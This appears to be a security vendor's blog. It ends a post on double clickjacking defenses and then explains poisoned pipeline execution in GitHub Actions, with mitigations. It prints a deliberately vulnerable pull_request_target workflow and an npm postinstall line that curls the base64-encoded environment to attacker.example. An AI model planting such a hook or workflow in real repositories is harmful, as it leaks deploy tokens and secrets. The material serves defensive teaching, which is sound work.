    None of this means dropping X-Frame-Options or frame-ancestors. Layer them. The frame headers close the original hole, and the gesture and re auth rules close the timing hole that double clickjacking opened. Each control covers a different assumption.

    The assumption that breaks

    Strip out the window tricks and one belief is left standing. Sites assume that a click on their own page, from their own logged in user, was meant for the thing under the cursor. Double clickjacking shows the second half of a double click can be redirected onto a button the user never saw. The fix is to stop treating any single click as proof of intent for actions that matter. This is the kind of flaw you find by asking what a flow assumes about its user’s intent, not by matching a known payload. An early signal we find encouraging: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Read more on our about page.

    Frequently asked questions

    What is double clickjacking?

    Double clickjacking is a technique published by Paulos Yibelo in 2024 that tricks a user into double clicking a harmless looking prompt. Between the first and second click, the attacker page swaps the top level window to a sensitive page where the user is already logged in, like an OAuth consent screen, so the second click lands on a real Authorize or Confirm button. The user only meant to double click a decoy, but they approved a real action on their own account.

    Why do X-Frame-Options and frame-ancestors not stop it?

    Those defenses only fire when a page is loaded inside a frame the attacker controls. Double clickjacking never renders the target in a frame during the click. It opens the target in the real top level window, so there is no sub frame for X-Frame-Options or the Content Security Policy frame-ancestors directive to block. SameSite cookies do not help either, because the sensitive page is the user’s own first party session and nothing looks cross site.

    What does double clickjacking usually target?

    It targets any action that completes with a single click on a page where the victim is already signed in. The prize target is OAuth consent screens, where one Authorize click can grant a third party app durable access to email, files, or repositories. It also hits account changes like confirming a new email, disabling two factor, or promoting a user to admin, plus one click approvals such as payments and app installs.

    How do you defend against double clickjacking?

    Stop treating a single click as proof of intent for important actions. Require a non trivial gesture such as a typed confirmation or a ticked checkbox. Yibelo’s proposed defense is to keep sensitive buttons disabled until a short delay passes or a real interaction signal arrives, so a click that lands the instant a window opens does nothing. Re authenticate before granting OAuth scopes or changing security settings, avoid one click authorize, and keep the frame headers in place as a separate layer.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: Security Headers Analyzer lets you check a full set of response headers in one pass. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Poisoned Pipeline Execution: When Your CI Runs Attacker Code With Your Secrets

    Poisoned Pipeline Execution: When Your CI Runs Attacker Code With Your Secrets

    Your build pipeline is the most trusted machine you own. It holds deploy keys, signing certificates, cloud tokens, and the power to push code to production, and it runs whatever script the repo tells it to. Poisoned pipeline execution is what happens when an attacker gets their own code to run inside that machine. They do not need your password or a server exploit. They send a pull request, or edit a script the build already runs, and your CI hands them the secrets it was built to protect.

    Why a pipeline is worth so much

    A CI/CD runner is not a sandbox. It is a privileged service account with a shell. To do its job it usually holds some mix of the following in environment variables or mounted files:

    • Deploy credentials. Keys that push to production, write to a registry, or update infrastructure.
    • Signing keys. The thing that makes a release look official to everyone downstream.
    • Cloud tokens. Often a short lived OIDC token that the runner exchanges for an AWS, GCP, or Azure role with real permissions.
    • A repo token. On GitHub Actions this is GITHUB_TOKEN, which can read and write repo contents, open releases, and more depending on its scope.

    So the prize is not the build. It is everything the build can touch. If attacker code runs in that context, even for one step, it can read every secret in the environment and use every permission the job holds. One curl to an external host and the keys are gone.

    The attacker does not break into the pipeline. They get the pipeline to run their code, and the pipeline does the rest with its own credentials.

    The three flavors of poisoned pipeline execution

    This is a class of bug, not a single trick. It shows up in three shapes that share one root: untrusted input deciding what privileged code runs.

    Direct: edit the pipeline file itself

    The attacker opens a pull request that changes the workflow definition and adds a step to dump secrets or run their payload. If that change runs with real credentials before anyone reviews it, that is direct poisoning. Letting workflow files be edited and run by lower trust contributors is dangerous on its own.

    Indirect: poison a script the pipeline runs

    Most builds do not run only the workflow file. They run a Makefile, a test runner, a linter config, or npm lifecycle scripts. An npm postinstall hook runs automatically on npm install. If an attacker controls any of those files, they never touch the pipeline definition. They edit the script, the pipeline runs it as a normal build step, and their code executes with full job permissions. The workflow looks clean. The payload is one layer down.

    Public: an untrusted pull request triggers a privileged workflow

    This is the most common and the most painful. A public repo accepts pull requests from forks, and you want CI to run on them. The danger is in how. On GitHub Actions the pull_request trigger runs forked PR code without access to repo secrets, which is safe. The pull_request_target trigger runs with repo secrets, in the context of the base repo. It exists for jobs that label PRs or post comments. The trap is checking out the PR branch and running its code while those secrets are present.

    A concrete vulnerable workflow

    Here is a small GitHub Actions workflow that looks helpful and leaks everything. It uses pull_request_target, checks out the attacker’s branch, then runs the project’s build, which executes repo scripts.

    name: PR build
    on:
      pull_request_target:        # runs WITH base repo secrets
    
    jobs:
      build:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v4
            with:
              ref: ${{ github.event.pull_request.head.sha }}  # attacker code
          - run: npm install       # runs attacker's postinstall script
          - run: npm run build
            env:
              DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

    An attacker opens a pull request from a fork that adds one line to package.json:

    {
      "scripts": {
        "postinstall": "curl -s https://attacker.example/x -d \"$(env | base64)\""
      }
    }

    The workflow checks out their branch, runs npm install, the postinstall hook fires, and the whole environment, including DEPLOY_TOKEN, gets posted to a server they own. They never needed to be a collaborator. They just sent a PR. This is the same supply chain shape as a dependency confusion attack: untrusted code ends up running in a context that trusts it.

    How to spot it in your own setup

    Look for the dangerous combination, not any single piece. The risk appears when all three are true in one job:

    • The trigger runs with access to secrets or a privileged token (for example pull_request_target).
    • The job checks out or runs untrusted code (a fork’s branch, or an editable repo script).
    • That code runs before a human approves it.

    Search your workflows for pull_request_target paired with any checkout of the PR head. Then check builds for repo scripts that run automatically: postinstall, prepare, Makefile targets, test configs. Any of those is where indirect poisoning hides.

    Defenses that actually close poisoned pipeline execution

    You do not need one big fix. You need a few small rules that each remove a precondition.

    • Do not combine pull_request_target with checkout of PR code and secrets. If you must use it, do not check out the fork’s code in the same job that holds secrets. Use plain pull_request for anything that runs untrusted code, since it has no secrets by default.
    • Require approval for fork workflows. Configure the repo so that workflows from first time or outside contributors only run after a maintainer clicks approve. That removes the automatic run that the public flavor depends on.
    • Give GITHUB_TOKEN the least privilege it needs. Set permissions: read-all at the top, then grant write only to the specific jobs that need it. A read only token is far less useful to an attacker.
    • Pin actions by full commit SHA, not a tag. Use uses: actions/checkout@<sha> instead of @v4. A tag can be moved to point at new code; a SHA cannot. This stops a compromised action from poisoning your build the way a moved tag would.
    • Isolate untrusted builds. Run PR builds on separate runners with no access to production credentials, no network egress to arbitrary hosts, and a clean environment. If a payload runs, it finds nothing worth stealing.
    • Separate plan from privileged apply. For infrastructure, let untrusted PRs run a read only plan with no write credentials. Keep the apply step on a protected branch that only runs after merge and review. The dangerous permission never meets untrusted code.

    These map to a single idea: untrusted code and real credentials should never share a job. Keep them apart and most poisoned pipeline execution simply has nowhere to land.

    The assumption that breaks

    Every pipeline makes a quiet assumption: that the code it runs was written by someone allowed to run it. A fork PR, an npm hook, a moved action tag all break that assumption while the secrets stay in place. The same logic shows up beyond CI, for example in Kubernetes service account token abuse, where a workload trusts a token it should never have reached. The bug is rarely in the tool. It is in who is trusted to decide what runs, and whether the credentials follow that decision. You find this kind of issue by asking what a system trusts and when, not by scanning for known bad strings. As an early signal we find encouraging, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about trust boundaries is exactly what an autonomous researcher that tests assumptions is built to do. Read more on our about page.

    Frequently asked questions

    What is poisoned pipeline execution?

    Poisoned pipeline execution is an attack where someone gets their own code to run inside a CI/CD pipeline that holds secrets and broad permissions. The attacker does not exploit a server or steal a password. They send a pull request, edit a script the build already runs, or change the pipeline file, and the pipeline executes it with its own deploy keys, signing keys, and cloud tokens. One step running attacker code can read every secret in the job environment and use every permission the job holds.

    What are the three types of poisoned pipeline execution?

    Direct, indirect, and public. Direct means the attacker edits the pipeline definition itself, for example a GitHub Actions workflow file, to add a malicious step. Indirect means they poison a script the pipeline runs but does not define inline, such as a Makefile target, a test config, or an npm postinstall hook. Public means an untrusted pull request from a fork triggers a privileged workflow, which is the most common case, often through the pull_request_target trigger running with repo secrets.

    Why is the GitHub Actions pull_request_target trigger dangerous?

    The pull_request trigger runs forked PR code without access to repo secrets, which is safe. The pull_request_target trigger runs with repo secrets in the context of the base repo. It exists for jobs that label PRs or post comments. The trap is checking out the PR branch and running its code while those secrets are present. An attacker opens a PR from a fork, the workflow checks out their branch and runs npm install or a build, and their code executes with full access to the secrets in that job.

    How do you prevent poisoned pipeline execution?

    Keep untrusted code and real credentials out of the same job. Do not combine pull_request_target with checkout of PR code and secrets, and use plain pull_request for anything that runs untrusted code. Require maintainer approval before fork workflows run. Give GITHUB_TOKEN least privilege, set read only by default and grant write per job. Pin actions by full commit SHA, not a movable tag. Isolate untrusted builds on runners with no production credentials and no arbitrary network egress. For infrastructure, separate a read only plan on PRs from a privileged apply that only runs after merge and review.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: Secret Scanner lets you paste a file or diff and see what credentials it exposes. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.